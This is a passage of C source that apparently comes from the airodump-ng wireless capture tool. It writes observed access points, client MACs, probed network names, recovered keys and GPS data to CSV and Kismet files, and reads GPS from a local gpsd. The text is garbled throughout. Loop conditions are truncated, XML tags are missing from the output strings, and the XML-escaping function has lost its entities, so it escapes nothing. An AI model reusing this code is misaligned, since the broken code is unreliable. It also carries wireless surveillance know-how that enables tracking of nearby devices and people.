!G.output_format_csv) return 0; fseek( G.f_txt, 0, SEEK_SET ); fprintf( G.f_txt, "\r\nBSSID, First time seen, Last time seen, channel, Speed, " "Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n" ); ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2) { ap_cur = ap_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); ltime = localtime( &ap_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &ap_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%2d, %3d, ", ap_cur->channel, ap_cur->max_speed ); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) fprintf( G.f_txt, " " ); else { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_txt, "WPA2" ); if( ap_cur->security & STD_WPA ) fprintf( G.f_txt, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_txt, "OPN " ); } fprintf( G.f_txt, ","); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_txt, " CCMP"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_txt, " WRAP"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_txt, " TKIP"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_txt, " WEP104"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_txt, " WEP40"); if( ap_cur->security & ENC_WEP ) fprintf( G.f_txt, " WEP"); } fprintf( G.f_txt, ","); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & AUTH_MGT ) fprintf( G.f_txt, " MGT"); if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "SKA"); else fprintf( G.f_txt, "PSK"); } if( ap_cur->security & AUTH_OPN ) fprintf( G.f_txt, " OPN"); } fprintf( G.f_txt, ", %3d, %8ld, %8ld, ", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data ); fprintf( G.f_txt, "%3d.%3d.%3d.%3d, ", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_txt, "%3d, ", ap_cur->ssid_length); for(i=0; issid_length; i++) { fprintf( G.f_txt, "%c", ap_cur->essid[i] ); } fprintf( G.f_txt, ", " ); if(ap_cur->key != NULL) { for(i=0; i<(int)strlen(ap_cur->key); i++) { fprintf( G.f_txt, "%02X", ap_cur->key[i]); if(i<(int)(strlen(ap_cur->key)-1)) fprintf( G.f_txt, ":"); } } fprintf( G.f_txt, "\r\n"); ap_cur = ap_cur->next; } fprintf( G.f_txt, "\r\nStation MAC, First time seen, Last time seen, " "Power, # packets, BSSID, Probed ESSIDs\r\n" ); st_cur = G.st_1st; while( st_cur != NULL ) { ap_cur = st_cur->base; if( ap_cur->nb_pkt < 2 ) { st_cur = st_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); ltime = localtime( &st_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &st_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%3d, %8ld, ", st_cur->power, st_cur->nb_pkt ); if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( G.f_txt, "(not associated) ," ); else fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X,", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c", ( i > 0 ) ? ',' : ' ' ); for(j=0; jssid_length[i]; j++) { snprintf( ssid_list + n + 1 + j, sizeof( ssid_list ) - n - 2 - j, "%c", st_cur->probes[i][j]); } n += ( 1 + st_cur->ssid_length[i] ); if( n >= (int) sizeof( ssid_list ) ) break; } fprintf( G.f_txt, "%s\r\n", ssid_list ); st_cur = st_cur->next; } fprintf( G.f_txt, "\r\n" ); fflush( G.f_txt ); return 0; } char * sanitize_xml(unsigned char * text, int length) { int i; size_t len; unsigned char * pos; char * newpos; char * newtext = NULL; if (text != NULL && length > 0) { len = 6 * length; newtext = (char *)calloc(1, (len + 1) * sizeof(char)); // Make sure we have enough space pos = text; for (i = 0; i < length; ++i, ++pos) { switch (*pos) { case '&': strncat(newtext, "&", len); break; case '<': strncat(newtext, "<", len); break; case '>': strncat(newtext, ">", len); break; case '\'': strncat(newtext, "'", len); break; case '"': strncat(newtext, """, len); break; default: if ( isprint((int)(*pos)) || (*pos)>127 ) { newtext[strlen(newtext)] = *pos; } else { newtext[strlen(newtext)] = '\\'; newpos = newtext + strlen(newtext); snprintf(newpos, strlen(newpos) + 1, "%3u", *pos); } break; } } newtext = (char *) realloc(newtext, strlen(newtext) + 1); } return newtext; } #define OUI_STR_SIZE 8 #define MANUF_SIZE 128 char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) { static char * oui_location = NULL; char oui[OUI_STR_SIZE + 1]; char *manuf; //char *buffer_manuf; char * manuf_str; struct oui *ptr; FILE *fp; char buffer[BUFSIZ]; char temp[OUI_STR_SIZE + 1]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; int found = 0; if ((manuf = (char *)calloc(1, MANUF_SIZE * sizeof(char))) == NULL) { perror("calloc failed"); return NULL; } snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2 ); if (G.manufList != NULL) { // Search in the list ptr = G.manufList; while (ptr != NULL) { found = ! strncasecmp(ptr->id, oui, OUI_STR_SIZE); if (found) { memcpy(manuf, ptr->manuf, MANUF_SIZE); break; } ptr = ptr->next; } } else { // If the file exist, then query it each time we need to get a manufacturer. if (oui_location == NULL) { fp = fopen(OUI_PATH0, "r"); if (fp == NULL) { fp = fopen(OUI_PATH1, "r"); if (fp == NULL) { fp = fopen(OUI_PATH2, "r"); if (fp != NULL) { oui_location = OUI_PATH2; } } else { oui_location = OUI_PATH1; } } else { oui_location = OUI_PATH0; } } else { fp = fopen(oui_location, "r"); } if (fp != NULL) { memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (strstr(buffer, "(hex)") == NULL) { continue; } memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { snprintf(temp, sizeof(temp), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1] ); found = !memcmp(temp, oui, strlen(oui)); if (found) { manuf_str = get_manufacturer_from_string(buffer); if (manuf_str != NULL) { snprintf(manuf, MANUF_SIZE, "%s", manuf_str); free(manuf_str); } break; } } memset(buffer, 0x00, sizeof(buffer)); } fclose(fp); } } // Not found, use "Unknown". if (!found || *manuf == '\0') { memcpy(manuf, "Unknown", 7); manuf[strlen(manuf)] = '\0'; } manuf = (char *)realloc(manuf, (strlen(manuf) + 1) * sizeof(char)); return manuf; } #undef OUI_STR_SIZE #undef MANUF_SIZE #define KISMET_NETXML_HEADER_BEGIN "\n\n\n\n\n" #define KISMET_NETXML_TRAILER "" #define TIME_STR_LENGTH 255 int dump_write_kismet_netxml( void ) { int network_number, average_power, client_nbr; int client_max_rate, unused; struct AP_info *ap_cur; struct ST_info *st_cur; char first_time[TIME_STR_LENGTH]; char last_time[TIME_STR_LENGTH]; char * manuf; char * essid = NULL; if (! G.record_data || !G.output_format_kismet_netxml) return 0; fseek( G.f_kis_xml, 0, SEEK_SET ); /* Header and airodump-ng start time */ fprintf( G.f_kis_xml, "%s%s%s", KISMET_NETXML_HEADER_BEGIN, G.airodump_start_time, KISMET_NETXML_HEADER_END ); ap_cur = G.ap_1st; network_number = 0; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2 /* XXX: Maybe this last check should be removed */ ) { ap_cur = ap_cur->next; continue; } ++network_number; // Network Number strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\tBeacon\n" ); fprintf(G.f_kis_xml, "\t\t\t%d.000000\n", ap_cur->max_speed ); fprintf(G.f_kis_xml, "\t\t\t%ld\n", ap_cur->nb_bcn ); fprintf(G.f_kis_xml, "\t\t\t%d\n", 10 ); fprintf(G.f_kis_xml, "\t\t\t"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis_xml, "WPA2 " ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis_xml, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis_xml, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis_xml, "OPN " ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) != 0 ) { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis_xml, "AES-CCM "); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis_xml, "WRAP "); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis_xml, "TKIP "); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis_xml, "WEP104 "); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis_xml, "WEP40 "); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis_xml, "WEP ");*/ } fprintf(G.f_kis_xml, "\n"); /* ESSID */ fprintf(G.f_kis_xml, "\t\t\t", (ap_cur->essid[0] == 0) ? "true" : "false"); essid = sanitize_xml(ap_cur->essid, ap_cur->ssid_length); if (essid != NULL) { fprintf(G.f_kis_xml, "%s", essid); free(essid); } fprintf(G.f_kis_xml, "\n"); /* End of SSID tag */ fprintf(G.f_kis_xml, "\t\t\n"); /* BSSID */ fprintf( G.f_kis_xml, "\t\t%02X:%02X:%02X:%02X:%02X:%02X\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); /* Manufacturer, if set using standard oui list */ manuf = sanitize_xml((unsigned char *)ap_cur->manuf, strlen(ap_cur->manuf)); fprintf(G.f_kis_xml, "\t\t%s\n", (manuf != NULL) ? manuf : "Unknown"); free(manuf); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d\n", ap_cur->channel); /* Freq (in Mhz) and total number of packet on that frequency FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t%d %ld\n", getFrequencyFromChannel(ap_cur->channel), //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* XXX: What about 5.5Mbit */ fprintf(G.f_kis_xml, "\t\t%d\n", ap_cur->max_speed * 1000); /* Packets */ fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%ld\n" "\t\t\t%ld\n" "\t\t\t0\n" "\t\t\t%ld\n" "\t\t\t0\n" "\t\t\t0\n" "\t\t\n", ap_cur->nb_bcn, ap_cur->nb_data, //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* * XXX: What does that field mean? Is it the total size of data? * It seems that 'd' is appended at the end for clients, why? */ fprintf(G.f_kis_xml, "\t\t0\n"); /* Client information */ st_cur = G.st_1st; client_nbr = 0; while ( st_cur != NULL ) { /* If not associated or Broadcast Mac, try next one */ if ( st_cur->base == NULL || memcmp( st_cur->stmac, BROADCAST, 6 ) == 0 ) { st_cur = st_cur->next; continue; } /* Compare BSSID */ if ( memcmp( st_cur->base->bssid, ap_cur->bssid, 6 ) != 0 ) { st_cur = st_cur->next; continue; } ++client_nbr; strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\t\n", client_nbr, first_time, last_time ); fprintf( G.f_kis_xml, "\t\t\t%02X:%02X:%02X:%02X:%02X:%02X\n", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); /* Manufacturer, if set using standard oui list */ fprintf(G.f_kis_xml, "\t\t\t%s\n", (st_cur->manuf != NULL) ? st_cur->manuf : "Unknown"); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t\t%d\n", ap_cur->channel); /* Rate: unaccurate because it's the latest rate seen */ client_max_rate = ( st_cur->rate_from > st_cur->rate_to ) ? st_cur->rate_from : st_cur->rate_to ; fprintf(G.f_kis_xml, "\t\t\t%.6f\n", client_max_rate / 1000000.0 ); /* Packets */ fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\t%ld\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\n", st_cur->nb_pkt ); /* SNR information */ average_power = (st_cur->power == -1) ? 0 : st_cur->power; fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t1024\n" "\t\t\t\t1024\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates XXX: We don't have GPS coordinates for clients */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\n", 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\n"); fprintf(G.f_kis_xml, "\t\t\n" ); /* Next client */ st_cur = st_cur->next; } /* SNR information */ average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power; fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t1024\n" "\t\t\t1024\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\n", ap_cur->gps_loc_min[0], ap_cur->gps_loc_min[1], ap_cur->gps_loc_min[2], ap_cur->gps_loc_min[3], ap_cur->gps_loc_max[0], ap_cur->gps_loc_max[1], ap_cur->gps_loc_max[2], ap_cur->gps_loc_max[3], ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2], /* Can the "best" be considered as average??? */ ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2] ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t0\n" "\t\t\n" "\t\t\n"); /* Closing tag for the current wireless network */ fprintf(G.f_kis_xml, "\t\n"); //-------- End of XML ap_cur = ap_cur->next; } /* Trailing */ fprintf( G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER ); fflush( G.f_kis_xml ); /* Sometimes there can be crap at the end of the file, so truncating is a good idea. XXX: Is this really correct, I hope fileno() won't have any side effect */ unused = ftruncate(fileno(G.f_kis_xml), ftell( G.f_kis_xml ) ); return 0; } #undef TIME_STR_LENGTH #define KISMET_HEADER "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n" int dump_write_kismet_csv( void ) { int i, k; // struct tm *ltime; /* char ssid_list[512];*/ struct AP_info *ap_cur; if (! G.record_data || !G.output_format_kismet_csv) return 0; fseek( G.f_kis, 0, SEEK_SET ); fprintf( G.f_kis, KISMET_HEADER ); ap_cur = G.ap_1st; k=1; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2) { ap_cur = ap_cur->next; continue; } //Network fprintf( G.f_kis, "%d;", k ); //NetType fprintf( G.f_kis, "infrastructure;"); //ESSID for(i=0; issid_length; i++) { fprintf( G.f_kis, "%c", ap_cur->essid[i] ); } fprintf( G.f_kis, ";" ); //BSSID fprintf( G.f_kis, "%02X:%02X:%02X:%02X:%02X:%02X;", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); //Info fprintf( G.f_kis, ";"); //Channel fprintf( G.f_kis, "%d;", ap_cur->channel); //Cloaked fprintf( G.f_kis, "No;"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis, "WPA2," ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis, "WPA," ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis, "WEP," ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis, "OPN," ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_kis, "None,"); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis, "AES-CCM,"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis, "WRAP,"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis, "TKIP,"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis, "WEP104,"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis, "WEP40,"); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis, " WEP,");*/ } fseek(G.f_kis, -1, SEEK_CUR); fprintf(G.f_kis, ";"); //Decrypted fprintf( G.f_kis, "No;"); //MaxRate fprintf( G.f_kis, "%d.0;", ap_cur->max_speed ); //MaxSeenRate fprintf( G.f_kis, "0;"); //Beacon fprintf( G.f_kis, "%ld;", ap_cur->nb_bcn); //LLC fprintf( G.f_kis, "0;"); //Data fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Crypt fprintf( G.f_kis, "0;"); //Weak fprintf( G.f_kis, "0;"); //Total fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Carrier fprintf( G.f_kis, ";"); //Encoding fprintf( G.f_kis, ";"); //FirstTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tinit) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //LastTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tlast) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //BestQuality fprintf( G.f_kis, "%d;", ap_cur->avg_power ); //BestSignal fprintf( G.f_kis, "0;" ); //BestNoise fprintf( G.f_kis, "0;" ); //GPSMinLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]); //GPSMinLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]); //GPSMinAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]); //GPSMinSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]); //GPSMaxLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]); //GPSMaxLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]); //GPSMaxAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]); //GPSMaxSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]); //GPSBestLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]); //GPSBestLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]); //GPSBestAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]); //DataSize fprintf( G.f_kis, "0;" ); //IPType fprintf( G.f_kis, "0;" ); //IP fprintf( G.f_kis, "%d.%d.%d.%d;", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_kis, "\r\n"); ap_cur = ap_cur->next; k++; } fflush( G.f_kis ); return 0; } void gps_tracker( void ) { ssize_t unused; int gpsd_sock; char line[256], *temp; struct sockaddr_in gpsd_addr; int ret, is_json, pos; fd_set read_fd; struct timeval timeout; /* attempt to connect to localhost, port 2947 */ pos = 0; gpsd_sock = socket( AF_INET, SOCK_STREAM, 0 ); if( gpsd_sock < 0 ) { return; } gpsd_addr.sin_family = AF_INET; gpsd_addr.sin_port = htons( 2947 ); gpsd_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); if( connect( gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof( gpsd_addr ) ) < 0 ) { return; } // Check if it's GPSd < 2.92 or the new one // 2.92+ immediately send stuff // < 2.92 requires to send PVTAD command FD_ZERO(&read_fd); FD_SET(gpsd_sock, &read_fd); timeout.tv_sec = 1; timeout.tv_usec = 0; is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout); if (is_json) { /* {"class":"VERSION","release":"2.95","rev":"2010-11-16T21:12:35","proto_major":3,"proto_minor":3} ?WATCH={"json":true}; {"class":"DEVICES","devices":[]} */ // Get the crap and ignore it: {"class":"VERSION","release":"2.95","rev":"2010-11-16T21:12:35","proto_major":3,"proto_minor":3} if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; is_json = (line[0] == '{'); if (is_json) { // Send ?WATCH={"json":true}; memset( line, 0, sizeof( line ) ); strcpy(line, "?WATCH={\"json\":true};\n"); if( send( gpsd_sock, line, 22, 0 ) != 22 ) return; // Check that we have devices memset(line, 0, sizeof(line)); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; // Stop processing if there is no device if (strncmp(line, "{\"class\":\"DEVICES\",\"devices\":[]}", 32) == 0) { close(gpsd_sock); return; } else { pos = strlen(line); } } } /* loop reading the GPS coordinates */ while( G.do_exit == 0 ) { usleep( 500000 ); memset( G.gps_loc, 0, sizeof( float ) * 5 ); /* read position, speed, heading, altitude */ if (is_json) { // Format definition: http://catb.org/gpsd/gpsd_json.html if (pos == sizeof( line )) { memset(line, 0, sizeof(line)); pos = 0; } // New version, JSON if( recv( gpsd_sock, line + pos, sizeof( line ) - 1, 0 ) <= 0 ) return; // search for TPV class: {"class":"TPV" temp = strstr(line, "{\"class\":\"TPV\""); if (temp == NULL) { continue; } // Make sure the data we have is complete if (strchr(temp, '}') == NULL) { // Move the data at the beginning of the buffer; pos = strlen(temp); if (temp != line) { memmove(line, temp, pos); memset(line + pos, 0, sizeof(line) - pos); } } // Example line: {"class":"TPV","tag":"MID2","device":"/dev/ttyUSB0","time":1350957517.000,"ept":0.005,"lat":46.878936576,"lon":-115.832602964,"alt":1968.382,"track":0.0000,"speed":0.000,"climb":0.000,"mode":3} // Latitude temp = strstr(temp, "\"lat\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[0]); // Longitude temp = strstr(temp, "\"lon\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[1]); // Altitude temp = strstr(temp, "\"alt\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[4]); // Speed temp = strstr(temp, "\"speed\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[2]); // No more heading // Get the next TPV class temp = strstr(temp, "{\"class\":\"TPV\""); if (temp == NULL) { memset( line, 0, sizeof( line ) ); pos = 0; } else { pos = strlen(temp); memmove(line, temp, pos); memset(line + pos, 0, sizeof(line) - pos); } } else { memset( line, 0, sizeof( line ) ); snprintf( line, sizeof( line ) - 1, "PVTAD\r\n" ); if( send( gpsd_sock, line, 7, 0 ) != 7 ) return; memset( line, 0, sizeof( line ) ); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; if( memcmp( line, "GPSD,P=", 7 ) != 0 ) continue; /* make sure the coordinates are present */ if( line[7] == '?' ) continue; ret = sscanf( line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1] ); if( ( temp = strstr( line, "V=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[2] ); /* speed */ if( ( temp = strstr( line, "T=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[3] ); /* heading */ if( ( temp = strstr( line, "A=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[4] ); /* altitude */ } if (G.record_data) fputs( line, G.f_gps ); G.save_gps = 1; if (G.do_exit == 0) { unused = write( G.gc_pipe[1], G.gps_loc, sizeof( float ) * 5 ); kill( getppid(), SIGUSR2 ); } } } void sighandler( int signum) { ssize_t unused; int card=0; signal( signum, sighandler ); if( signum == SIGUSR1 ) { unused = read( G.cd_pipe[0], &card, sizeof(int) ); if(G.freqoption) unused = read( G.ch_pipe[0], &(G.frequency[card]), sizeof( int ) ); else unused = read( G.ch_pipe[0], &(G.channel[card]), sizeof( int ) ); } if( signum == SIGUSR2 ) unused = read( G.gc_pipe[0], &G.gps_loc, sizeof( float ) * 5 ); if( signum == SIGINT || signum == SIGTERM ) { reset_term(); alarm( 1 ); G.do_exit = 1; signal( SIGALRM, sighandler ); printf( "\n" ); } if( signum == SIGSEGV ) { fprintf( stderr, "Caught signal 11 (SIGSEGV). Please" " contact the author!\33[?25h\n\n" ); fflush( stdout ); exit( 1 ); } if( signum == SIGALRM ) { fprintf( stderr, "Caught signal 14 (SIGALRM). Please" " contact the author!\33[?25h\n\n" ); fflush( stdout ); exit( 1 ); } if( signum == SIGCHLD ) wait( NULL ); if( signum == SIGWINCH ) { fprintf( stderr, "\33[2J" ); 